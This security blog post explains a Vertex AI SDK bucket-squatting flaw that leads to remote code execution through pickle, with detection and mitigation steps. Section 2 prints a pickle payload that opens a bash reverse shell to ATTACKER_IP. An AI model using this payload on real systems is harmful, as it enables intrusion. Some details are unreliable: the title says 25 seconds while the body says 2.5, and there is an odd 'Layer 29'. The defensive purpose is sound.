Pickle in the Middle: How a 25-Second Race Window in Vertex AI’s Python SDK Enables Cross-Tenant RCE + Video

Listen to this Post

Featured Image

Introduction:

A recently discovered vulnerability in Google Cloud’s Vertex AI Python SDK exposed a chilling reality: an attacker with no access to your project can hijack your model uploads, swap them with malicious code, and achieve remote code execution (RCE) within your AI serving infrastructure. Dubbed “Pickle in the Middle” by Palo Alto Networks Unit 42, this flaw exploits predictable default bucket names and a missing ownership check, enabling a technique known as bucket squatting. The attack unfolds in a razor-thin 2.5-second window, where the attacker replaces the legitimate model with a malicious pickle deserialization payload.

Learning Objectives:

  • Understand the mechanics of the Vertex AI SDK bucket squatting vulnerability (affecting versions 1.139.0 and 1.140.0).
  • Learn how attackers leverage predictable bucket naming and pickle deserialization to achieve cross-tenant RCE.
  • Acquire step-by-step guidance to detect vulnerable SDK versions, verify bucket ownership, and implement mitigations.
  • Explore defensive strategies, including specifying custom staging buckets and upgrading to patched SDK versions (v1.148.0+).

You Should Know:

  1. The Anatomy of the Attack: Predictable Buckets and the 2.5-Second Race Window

The root cause of this vulnerability lies in how the Vertex AI SDK for Python handles model uploads. When a user uploads a model to the Vertex AI Model Registry without specifying a custom staging bucket, the SDK automatically generates a bucket name using a deterministic pattern based on the victim’s project ID and region. This predictability allows an attacker, operating from their own Google Cloud project, to preemptively create this bucket—a classic bucket squatting maneuver.

The SDK then silently uploads the victim’s model artifacts to this attacker-controlled bucket. Within a narrow window of approximately 2.5 seconds, the attacker can replace the legitimate model with a malicious one carrying a pickle deserialization payload. Once the victim deploys this compromised model, the attacker’s code executes within the victim’s Vertex AI serving infrastructure, leading to data exfiltration, lateral movement, and further compromise.

Step‑by‑step guide to understanding and simulating the attack chain:

  • Step 1: Identify the target. The attacker determines the victim’s Google Cloud project ID and the region where the model will be uploaded.
  • Step 2: Pre‑create the bucket. Using the deterministic naming pattern, the attacker creates the bucket in their own project before the victim initiates the upload.
  • Step 3: Wait for the upload. The victim runs `upload_model()` without specifying a `staging_bucket` parameter. The SDK resolves the bucket name and, finding it already exists (in the attacker’s project), uses it.
  • Step 4: The race. The attacker monitors the bucket for new uploads. Upon detection, they have roughly 2.5 seconds to replace the uploaded model artifact with a malicious pickle file.
  • Step 5: Deployment and execution. The victim deploys the model from the Model Registry. The pickle file is deserialized, executing arbitrary code on the victim’s infrastructure.

Verification commands:

  • Check SDK version (Linux/macOS): `pip show google-cloud-aiplatform | grep Version`
    – Check SDK version (Windows): `pip show google-cloud-aiplatform | findstr Version`
    – List buckets in a project (gcloud): `gcloud storage buckets list –project=`
    – Simulate bucket name generation (Python):

    project_id = "your-project-id"
    location = "us-central1"
    bucket_name = f"vertex-ai-{project_id}-{location}"
    print(bucket_name)
    

2. Exploiting Pickle Deserialization: The Malicious Payload

Pickle is Python’s built-in module for serializing and deserializing object structures. However, the Python documentation explicitly warns that pickle is not secure against maliciously constructed data, as deserialization can lead to arbitrary code execution. In this attack, the adversary replaces the legitimate model file (often a `.pkl` file) with a malicious pickle payload. When the victim’s Vertex AI environment deserializes this pickle file during model loading, the attacker’s code executes with the privileges of the serving infrastructure.

Step‑by‑step guide to understanding pickle exploitation:

  • Step 1: Craft the payload. The attacker creates a malicious pickle file that, upon deserialization, executes a reverse shell, exfiltrates credentials, or installs persistence mechanisms.
  • Step 2: Replace the model. Within the 2.5‑second window, the attacker overwrites the uploaded model file in the staging bucket with their malicious pickle.
  • Step 3: Trigger deserialization. The victim’s deployment process loads the model, invoking the `pickle.load()` function on the attacker‑controlled file.
  • Step 4: Achieve RCE. The malicious code runs inside the victim’s Vertex AI environment, potentially compromising the entire project.

Example malicious pickle payload (conceptual):

import pickle, os, socket, subprocess

class Exploit:
def <strong>reduce</strong>(self):
return (subprocess.Popen, (('bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'),))

payload = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(payload)

3. Detection and Verification: Are You Vulnerable?

The vulnerability affects `google-cloud-aiplatform` SDK versions 1.139.0 and 1.140.0. However, related bucket squatting issues have been identified in versions as early as 1.21.0 up to 1.133.0 (CVE-2026-2473). Google patched the flaw in version 1.148.0, released on April 15, 2026. Organizations must immediately audit their SDK versions and Cloud Storage bucket configurations.

Step‑by‑step guide to detection and verification:

  • Step 1: Audit SDK versions. Run `pip list | grep google-cloud-aiplatform` across all development and CI/CD environments.
  • Step 2: Review bucket naming. List all buckets in your project and check for predictably named buckets (e.g., vertex-ai-<project-id>-<region>). If such buckets exist but were not explicitly created by your team, they may have been pre‑created by an attacker.
  • Step 3: Check bucket ownership. Verify that the bucket is owned by your project, not an external project. Use `gcloud storage buckets describe gs://` and examine the `projectNumber` field.
  • Step 4: Monitor upload logs. Review Cloud Audit Logs for unusual `storage.buckets.create` or `storage.objects.create` events that do not correspond to known administrative actions.

Detection commands:

  • List all buckets: `gcloud storage buckets list –project=`
    – Get bucket details: `gcloud storage buckets describe gs://`
    – Check IAM policies: `gcloud storage buckets get-iam-policy gs://`
    – Search Cloud Audit Logs (gcloud):

    gcloud logging read "protoPayload.methodName=storage.buckets.create" --project=<PROJECT_ID> --limit=50
    

4. Mitigation and Hardening: Securing Your AI Pipeline

Google has released a fixed version of the SDK (v1.148.0). Upgrading is the primary mitigation. Additionally, organizations should adopt a defense‑in‑depth approach to secure their AI infrastructure against supply chain attacks.

Step‑by‑step guide to mitigation:

  • Step 1: Upgrade the SDK. Run `pip install –upgrade google-cloud-aiplatform>=1.148.0` in all environments.
  • Step 2: Specify custom staging buckets. Always provide the `staging_bucket` parameter when calling upload_model(). Use a dedicated bucket with a non‑predictable name and strict IAM policies.
  • Step 3: Implement bucket ownership checks. Use Cloud Functions or Cloud Run to periodically verify that all staging buckets are owned by your project.
  • Step 4: Enable VPC Service Controls. Restrict access to Cloud Storage and Vertex AI APIs to trusted networks to prevent bucket squatting from external projects.
  • Step 5: Monitor and alert. Set up alerts for the creation of new buckets with naming patterns matching `vertex-ai-` and for unauthorized access to staging buckets.

Hardening configuration examples:

  • Specify a custom bucket in Python:
    from google.cloud import aiplatform
    aiplatform.init(project='my-project', location='us-central1', staging_bucket='gs://my-secure-staging-bucket-xyz789')
    model = aiplatform.Model.upload(
    display_name='my-model',
    artifact_uri='gs://my-secure-staging-bucket-xyz789/model/',
    serving_container_image_uri='us-docker.pkg.dev/vertex-ai/prediction/tf2-cpu.2-11:latest'
    )
    
  • Restrict bucket creation with Organization Policy: Enforce a constraint that only allows bucket creation in specific projects or regions.
  • Enable Cloud Storage uniform bucket-level access: This ensures consistent access control and reduces the risk of misconfigured ACLs.
  1. The Bigger Picture: AI Infrastructure as the New Attack Surface

This vulnerability is not an isolated incident. It represents a growing class of attacks targeting AI infrastructure—the “Layer 29” of modern cloud environments. Attackers are increasingly shifting their focus to high‑value AI pipelines, model registries, and inference endpoints. The “Pickle in the Middle” attack demonstrates that compromising the model itself is often easier than breaking the model’s security controls. As Richard B of Red Specter Security Research noted, “The attacker does not need to break the model. They replace it. The AI system keeps running. Every inference from that point is adversarially controlled. That is not a jailbreak. That is full model compromise with no user-visible indicator.” This underscores the critical need for security teams to treat AI models as executable code and apply supply chain security principles to their AI/ML pipelines.

What Undercode Say:

  • Key Takeaway 1: The “Pickle in the Middle” vulnerability is a textbook example of how predictable naming conventions and missing ownership checks can lead to severe cross-tenant RCE. It highlights the importance of scrutinizing default behaviors in SDKs and cloud services.
  • Key Takeaway 2: Mitigation requires a multi‑layered approach: upgrading SDKs, specifying custom buckets, enforcing strict IAM policies, and continuously monitoring for anomalous bucket creation and access patterns. Organizations must treat AI models as critical infrastructure and apply the same rigor as they would to any other production system.

The vulnerability serves as a wake‑up call for the AI community. As AI adoption accelerates, so does the attack surface. The 2.5‑second race window may seem narrow, but in automated cloud environments, it is more than sufficient for a well‑crafted attack. Security teams must move beyond traditional perimeter defenses and embrace a zero‑trust model for AI pipelines, ensuring that every component—from the SDK to the storage bucket to the model itself—is verified and secured.

Prediction:

  • -1: The “Pickle in the Middle” attack vector will be rapidly weaponized by threat actors, leading to a surge in AI supply chain compromises over the next 12‑18 months. Organizations that fail to upgrade and harden their Vertex AI deployments will face significant data breaches and reputational damage.
  • -1: The incident will trigger increased regulatory scrutiny and potentially new compliance requirements for AI/ML security, particularly around model provenance and integrity verification.
  • +1: The vulnerability’s disclosure and responsible handling by Unit 42 and Google will set a precedent for coordinated disclosure in the AI security space, encouraging more researchers to focus on AI infrastructure vulnerabilities.
  • +1: The development of automated tools to detect bucket squatting and pickle‑based exploits will accelerate, leading to more robust security posture for cloud‑native AI platforms.
  • -1: Despite patches, legacy SDK versions and misconfigured custom buckets will remain prevalent, creating a long tail of exploitable systems for years to come.
  • +1: The incident will drive innovation in AI‑specific security controls, such as model signing, immutable staging buckets, and real‑time anomaly detection during model uploads.

▶️ Related Video (74% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: We Discovered – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky